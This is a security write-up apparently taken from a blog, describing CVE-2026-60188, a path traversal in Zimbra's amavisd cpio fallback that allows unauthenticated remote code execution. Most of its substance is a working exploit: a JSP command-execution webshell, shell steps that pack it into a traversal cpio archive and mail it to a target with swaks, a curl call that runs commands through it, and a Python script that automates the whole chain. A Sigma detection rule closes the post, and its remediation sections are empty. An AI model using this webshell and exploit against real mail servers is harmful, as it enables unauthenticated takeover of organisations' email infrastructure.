All posts

CVE-2026-60188: Zimbra Collaboration amavisd cpio Path-Traversal to RCE

Zimbra scans every inbound email attachment for malware, and to do that it unpacks archives. When its preferred extractor is missing, the pipeline falls back to cpio — a tool that will happily write a file to whatever path the archive says, including one full of ../. Sending a single crafted email drops a JSP webshell into the Zimbra webroot and yields remote code execution as the zimbra user, no authentication and no clicking required.


Overview

CVE-2026-60188 is an unauthenticated remote code execution vulnerability in Zimbra Collaboration (formerly Zimbra Collaboration Suite). The flaw is a path traversal in the way Zimbra's antivirus pipeline extracts email attachments: a malicious archive attached to an email causes a file to be written outside the extraction directory, and by targeting the web application directory, an attacker plants a webshell that executes as the mail server's service account.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The trigger is receiving an email; no recipient interaction is required, because the malware scanner processes the attachment automatically on delivery. Zimbra is a long-standing target of state-aligned intrusion groups, and mass exploitation of Zimbra RCEs has been a recurring feature of the past several years.

Anyone who has followed Zimbra will recognise the shape of this bug. CVE-2022-41352 was the same class — amavisd falling back to cpio and honouring absolute/traversal paths in a .tar to drop a JSP shell. The recommended fix then was to install pax so the fallback never happened. This CVE is a fresh variant of the same underlying design weakness reappearing in the archive-handling path.

Background — Why a Mail Server Unpacks Archives

Zimbra pipes inbound mail through amavisd, which orchestrates antivirus (ClamAV) and anti-spam scanning. To scan the contents of an attached archive — a .tar, .cpio, .rpm — amavisd must extract it to a temporary directory so ClamAV can inspect each file. Extraction is delegated to whatever archive tools are present on the host.

amavisd prefers pax for portable archive extraction because pax is safe by default: it strips leading slashes and refuses to write outside the target directory. But pax is not installed on many minimal server builds. When it is absent, amavisd falls back to cpio — and historic versions of cpio will write files to the exact path recorded in the archive, traversal sequences and all. The safety of the whole feature depends on which extractor happens to be installed, which is precisely the kind of implicit dependency that fails silently.

Root Cause — cpio Honours Traversal Paths

A cpio archive stores a path for each member entry. Given an entry whose stored name is ../../../../opt/zimbra/jetty/webapps/zimbra/public/shell.jsp, a permissive cpio extraction will resolve that relative path from the temporary extraction directory and write the file into the Zimbra webroot. Two conditions make this exploitable, and both hold on a default install missing pax:

The whole thing runs as the zimbra service account, because that is the identity amavisd and Jetty run under.

Exploitation

The attacker builds a cpio (or tar) archive whose single entry is a JSP webshell with a traversal path, attaches it to an email, and sends it to any address the target server accepts mail for. On delivery, amavisd extracts the attachment, the webshell lands in the webroot, and the attacker requests it.

# 1. Write the webshell that will land in the webroot
cat > shell.jsp <<'EOF'
<%@ page import="java.util.*,java.io.*"%>
<% if (request.getParameter("c") != null) {
     Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("c")});
     BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
     String l; while ((l = r.readLine()) != null) out.println(l);
   } %>
EOF

# 2. Pack it with a traversal path so extraction escapes the temp dir
TARGET='../../../../../../opt/zimbra/jetty/webapps/zimbra/public/shell.jsp'
mkdir -p "$(dirname pack/$TARGET)" && cp shell.jsp "pack/$TARGET"
( cd pack && printf '%s' "$TARGET" | cpio -o -H newc > ../evil.cpio )

# 3. Email the archive as an attachment to any valid recipient
swaks --to [email protected] --from [email protected] \
  --server target.tld --attach @evil.cpio \
  --header "Subject: invoice" --body "see attached"

After the mail is processed, the shell is one request away. It runs as zimbra:

curl -s "https://target.tld/public/shell.jsp?c=id"
# uid=1001(zimbra) gid=1001(zimbra) groups=1001(zimbra)

A convenience script to build and send the payload, then poll for the shell:

#!/usr/bin/env python3
"""
CVE-2026-60188 — Zimbra amavisd cpio path-traversal to JSP webshell RCE.
Builds a traversal cpio archive containing a JSP shell and mails it to the
target, then polls the webroot for execution. Authorised testing only.
"""
import subprocess, sys, time, requests

WEBROOT = "opt/zimbra/jetty/webapps/zimbra/public"
DEPTH   = "../" * 8   # enough ../ to climb out of the amavis temp dir

def build_archive(shell_path: str, out: str):
    entry = f"{DEPTH}{WEBROOT}/{shell_path}"
    # cpio reads the file list on stdin and preserves the (traversal) name
    subprocess.run(f'echo "{entry}" | cpio -o -H newc > {out}',
                   shell=True, check=True)

def send_mail(target_host, rcpt, archive):
    subprocess.run(["swaks", "--to", rcpt, "--server", target_host,
                    "--attach", f"@{archive}", "--body", "hi"], check=True)

if __name__ == "__main__":
    host, rcpt = sys.argv[1], sys.argv[2]
    build_archive("s.jsp", "evil.cpio")
    send_mail(host, rcpt, "evil.cpio")
    url = f"https://{host}/public/s.jsp?c=id"
    for _ in range(30):                 # amavis processes on delivery
        try:
            r = requests.get(url, verify=False, timeout=5)
            if "uid=" in r.text:
                print("[+] shell live:\n" + r.text); break
        except requests.RequestException:
            pass
        time.sleep(4)
    else:
        print("[-] no shell yet — target may have pax installed or be patched")

Affected Versions

Remediation

Detection

title: CVE-2026-60188 Zimbra amavisd cpio Path-Traversal Webshell Drop
id: 4e1d7a92-8f30-4b6c-9a1e-2c5d0f83b71e
status: stable
description: Detects creation of JSP files under the Zimbra webroot by the mail-scanning pipeline, indicating cpio traversal exploitation
logsource:
  product: linux
  category: file_event
detection:
  selection_write:
    TargetFilename|contains: '/jetty/webapps/zimbra/'
    TargetFilename|endswith: '.jsp'
  selection_actor:
    Image|endswith:
      - '/cpio'
      - '/amavisd'
      - '/perl'
  condition: selection_write and selection_actor
falsepositives:
  - Legitimate Zimbra upgrades write JSPs to the webroot, but via the installer/package manager, not via cpio or amavisd — filter on the writing process
level: high
tags:
  - cve.2026-60188
  - attack.initial_access
  - attack.t1190
  - attack.persistence
  - attack.t1505.003

Key Takeaways